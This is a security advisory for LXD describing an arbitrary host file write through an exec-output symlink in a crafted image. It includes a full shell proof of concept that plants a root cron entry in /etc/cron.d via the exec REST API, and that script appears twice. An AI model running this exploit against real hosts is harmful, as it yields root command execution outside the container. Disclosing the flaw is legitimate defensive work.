GHSA-9J25-MM2H-2F76
Vulnerability from github – Published: 2026-11-06 18:45 – Updated: 2026-11-06 18:45Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Summary
The record-output parameter of the /instances/$name/exec endpoint
stores the output of the command in the exec-output directory of the
instance. If exec-output is a symlink, file named exec_UUID.stdout
and exec_UUID.stderr can be written to an arbitrary location where
the .stdout file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.
Details
When an image is unpacked, top-level symlinks are extracted as is;
allowing for exec-output to be placed on disk. In instance_exec.go,
os.Mkdir continues of exec-output exists and os.OpenFile follows
the exec-output symlink.
PoC
Below, we place the exec_UUID.stdout file in /etc/cron.d on
the host for arbitrary command execution.
#!/bin/sh
# usage: $0 existing-imagefp
set -eu
basefp="${1}"
die() {
printf '%s' "${@}" >&2
exit 1
}
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
# insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output
ln -s /etc/cron.d exec-output
tar -f- -c * | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output
# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
"lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec_* -exec cat {} \;
Impact
Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/canonical/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260626085134-124f90100640"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-06T18:45:51Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nThe `record-output` parameter of the `/instances/$name/exec` endpoint\nstores the output of the command in the `exec-output` directory of the\ninstance. If `exec-output` is a symlink, file named `exec_UUID.stdout`\nand `exec_UUID.stderr` can be written to an arbitrary location where\nthe `.stdout` file will contain arbitrary content. This behavior can be\nabused for arbitrary command execution.\n\n\n### Details\n\nWhen an image is unpacked, top-level symlinks are extracted as is;\nallowing for `exec-output` to be placed on disk. In `instance_exec.go`,\n`os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows\nthe `exec-output` symlink.\n\n\n### PoC\n\nBelow, we place the `exec_UUID.stdout` file in `/etc/cron.d` on\nthe host for arbitrary command execution.\n\n```\n#!/bin/sh\n# usage: $0 existing-imagefp\nset -eu\n\nbasefp=\"${1}\"\n\ndie() {\n printf \u0027%s\u0027 \"${@}\" \u003e\u00262\n exit 1\n}\n\ncommand -v curl \u003e/dev/null 2\u003e\u00261 || die \u0027error: curl not found\\n\u0027\ncommand -v python3 \u003e/dev/null 2\u003e\u00261 || die \u0027error: python3 not found\\n\u0027\n\ntmpdir=$(mktemp -d)\ncleanup() {\n rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\n\n# insert exec-output symlink\n\nincus image export \"${basefp}\" \"${tmpdir}/img\"\n\nmkdir \"${tmpdir}/repack\"\ncd \"${tmpdir}/repack\"\n\nxz -cd \"${tmpdir}/img\" | tar -f- -vx\n\nrm -rf exec-output\nln -s /etc/cron.d exec-output\n\ntar -f- -c * | gzip -c9 \u003e\"${tmpdir}/img\"\n\ncd - \u003e/dev/null\nincus image import \"${tmpdir}\"/img* --alias afw-exec-output\n\n\n# Launch container, exec with record-output via REST API\nincus launch afw-exec-output afw-exec-output\nincus wait afw-exec-output ip\n\nOP=$(curl -s --unix-socket /var/lib/incus/unix.socket \\\n -X POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"command\":[\"/bin/sh\",\"-c\",\"echo * * * * * root id\u0027\"\u0027\u003e\u0027\"\u0027/afw-exec-output\"],\"record-output\":true}\u0027 \\\n \"lxd/1.0/instances/afw-exec-output/exec\" | python3 -c \"import sys,json;print(json.load(sys.stdin)[\u0027operation\u0027])\")\n\ncurl -s --unix-socket /var/lib/incus/unix.socket \"$OP/wait?timeout=30\" \u003e/dev/null\n\n#find /etc/cron.d/exec_* -exec cat {} \\;\n```\n\n### Impact\n\nConstrained file creation in an arbitrary directory on the host via\nvia an unsanitized symlink; possibly leading to command execution.",
"id": "GHSA-9j25-mm2h-2f76",
"modified": "2026-11-06T18:45:51Z",
"published": "2026-11-06T18:45:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48750"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/124f901006400f634d54d908911c9ea93bae9a70"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/937b761393af48fe4f5ff7e610ebfc1c9144e953"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/commit/bb0f2521a59edacff2a0cb2e9532fdfbe68cf764"
},
{
"type": "PACKAGE",
"url": "https://github.com/canonical/lxd"
},
{
"type": "WEB",
"url": "https://github.com/canonical/lxd/releases/tag/lxd-5.21.5"
},
{
"type": "WEB",
"url": "https://manpages.debian.org/bookworm/cron/cron.8.en.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LXD has arbitrary file write on host via `exec-output` symlink in crafted image"
}
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Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
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- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
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